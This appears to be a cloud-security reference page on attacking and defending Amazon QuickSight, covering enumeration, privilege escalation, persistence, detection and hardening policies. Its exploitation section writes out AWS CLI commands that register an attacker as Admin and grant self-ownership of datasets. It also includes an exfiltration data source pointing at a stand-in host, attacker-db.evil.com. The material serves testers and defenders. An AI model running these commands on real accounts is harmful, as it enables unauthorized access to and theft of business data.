Amazon QuickSight Security

ANALYTICS

Amazon QuickSight is a serverless, cloud-scale business intelligence (BI) service. Attackers target QuickSight to access visualized business data, exploit data source connections to reach backend databases, exfiltrate SPICE dataset contents, and abuse embedded dashboard URLs to leak sensitive analytics.

HIGH	Per GB	URL Leak	Namespaces
Data Exposure	SPICE Storage	Embedded Risk	Multi-Tenant

📋 Service Overview

Data Sources & SPICE Datasets

QuickSight connects to S3, Athena, RDS, Redshift, Aurora, OpenSearch, and on-prem databases. Data can be queried directly or imported into SPICE for in-memory performance.

Attack note: Data source connections store credentials to access backend databases. Compromising QuickSight data source configs can reveal database connection strings and credential references.

Dashboards, Embedding & Users

Dashboards can be shared or embedded in external applications via signed URLs. QuickSight manages its own user directory with Admin, Author, and Reader roles, separate from IAM.

Attack note: An attacker with IAM access to QuickSight API can register themselves as a QuickSight Admin, gaining full access to all dashboards and datasets.

Security Risk Assessment

Low Medium High Critical

7.5

Risk Score

QuickSight aggregates data from multiple backend sources into a single analytics layer. Compromising it can expose summarized business data, reveal backend database connection details, and provide a pivot point to underlying data stores.

⚔️ Attack Vectors

Data Access Abuse

- Register as QuickSight Admin via API
- Enumerate all datasets and dashboards
- Exploit data source connections for backend DB creds
- Export SPICE dataset contents
- Abuse direct query mode for arbitrary queries

Embedding & Sharing Exploitation

- Generate embedded dashboard URLs for unauthorized access
- Intercept or reuse signed embedding URLs
- Share dashboards with overly broad permissions
- Exploit anonymous embedding without RLS
- Create data sources pointing to attacker databases

⚠️ Misconfigurations

Access Issues

- No row-level security (RLS) on shared datasets
- No column-level security (CLS) on sensitive fields
- Overly permissive dataset sharing (all Authors as Owners)
- QuickSight Admin role assigned unnecessarily
- IAM policies granting quicksight:* broadly

Data Protection Gaps

- SPICE encryption using only AWS-managed keys
- VPC connections not configured for private data sources
- Embedded dashboards without namespace isolation
- Data source credentials stored directly
- No IP restrictions on QuickSight access

🔍 Enumeration

List All Dashboards

```
aws quicksight list-dashboards \
  --aws-account-id 123456789012
```

List All Datasets

```
aws quicksight list-data-sets \
  --aws-account-id 123456789012
```

List All Data Sources

```
aws quicksight list-data-sources \
  --aws-account-id 123456789012
```

Describe Data Source (Connection Details)

```
aws quicksight describe-data-source \
  --aws-account-id 123456789012 \
  --data-source-id my-data-source-id
```

List QuickSight Users

```
aws quicksight list-users \
  --aws-account-id 123456789012 --namespace default
```

📈 Privilege Escalation

QuickSight-Level Escalation

- Register as Admin via register-user with ADMIN role
- Grant self Owner permissions on datasets
- Create data source with attacker-controlled credentials
- Share dashboards to attacker-controlled user
- Bypass RLS by accessing dataset as Owner

Data-Level Escalation

- Access data sources to discover DB connection params
- Pivot from QuickSight to backend RDS/Redshift
- Create datasets from sensitive data sources
- Use direct query mode for arbitrary queries
- Owners bypass RLS -- this is by design

Key insight: Row-level security does NOT apply to dataset Owners. If an attacker gains Owner access, they see all rows regardless of RLS rules.

🔗 Persistence

Account-Level

- Register hidden QuickSight user in non-default namespace
- Create scheduled dataset refresh for ongoing access
- Add attacker group with access to key dashboards
- Create exfiltration data source to attacker DB
- Save analyses querying sensitive datasets

Embedding-Based

- Repeatedly generate embedded URLs for ongoing access
- Create namespace with attacker-controlled users
- Register anonymous embedding configuration
- Leverage short-lived tokens (5-minute single-use)
- Maintain SPICE dataset access via scheduled refreshes

🛡️ Detection

CloudTrail Events

- RegisterUser - new QuickSight user registration
- CreateDataSource - new data source connection
- UpdateDataSetPermissions - permission changes
- GenerateEmbedUrlForAnonymousUser - anon embedding
- DescribeDataSource - credential reconnaissance

Behavioral Indicators

- New Admin user registered via API
- Data source created pointing to unknown endpoints
- Bulk dataset enumeration (multiple list calls)
- Embedded URL generation from unexpected principals
- Permission grants to previously unknown users

💻 Exploitation Commands

Register Attacker as QuickSight Admin

```
aws quicksight register-user \
  --aws-account-id 123456789012 \
  --namespace default --identity-type IAM \
  --iam-arn arn:aws:iam::123456789012:user/attacker \
  --user-role ADMIN --email attacker@example.com
```

Grant Self Owner Access to Dataset

```
aws quicksight update-data-set-permissions \
  --aws-account-id 123456789012 \
  --data-set-id target-dataset-id \
  --grant-permissions
Principal=ATTACKER_ARN,Actions=quicksight:DescribeDataSet,quicks
ight:UpdateDataSet
```

Describe Data Source (Extract Connection Info)

```
aws quicksight describe-data-source \
  --aws-account-id 123456789012 \
  --data-source-id target-ds-id
```

Create Exfiltration Data Source

```
aws quicksight create-data-source \
  --aws-account-id 123456789012 \
  --data-source-id exfil --name exfil --type MYSQL \
  --data-source-parameters '{"MySqlParameters":{"Host":"attacker-
db.evil.com","Port":3306,"Database":"exfil"}}'
```

📜 Policy Examples

✗ Dangerous - Full QuickSight Access

```
{
  "Effect": "Allow",
  "Action": "quicksight:*",
  "Resource": "*"
}
```

Full access allows user registration as Admin, data source creation, dataset export, and embedded URL generation

✓ Secure - Read-Only Dashboard Access

```
{
  "Effect": "Allow",
  "Action": [
    "quicksight:DescribeDashboard",
    "quicksight:ListDashboards",
    "quicksight:GetDashboardEmbedUrl"
  ],
  "Resource": "arn:aws:quicksight:*:*:dashboard/*"
}
```

Scoped to dashboard-only access without data source or dataset modification

✓ Secure - Deny User Registration

```
{
  "Effect": "Deny",
  "Action": "quicksight:RegisterUser",
  "Resource": "*"
}
```

Prevents unauthorized QuickSight user registration (especially ADMIN role)

Defense Recommendations

Enable Row-Level and Column-Level Security

Apply RLS on all shared datasets and CLS to hide sensitive columns. Enterprise edition required. Owners bypass RLS.

Use Customer-Managed Keys for SPICE

Enable CMK encryption for SPICE datasets via the QuickSight console under SPICE encryption settings.

Configure VPC Connections for Private Sources

Use VPC connections to access private data sources without traversing the public internet.

Restrict User Registration

Deny quicksight:RegisterUser for non-admin principals. Monitor RegisterUser CloudTrail events.

Use Secrets Manager for Data Source Creds

Store database credentials in Secrets Manager rather than directly in QuickSight data source configurations.

Monitor with CloudTrail

Alert on RegisterUser (especially ADMIN), CreateDataSource, UpdateDataSetPermissions, and GenerateEmbedUrlForAnonymousUser.

Always obtain proper authorization before testing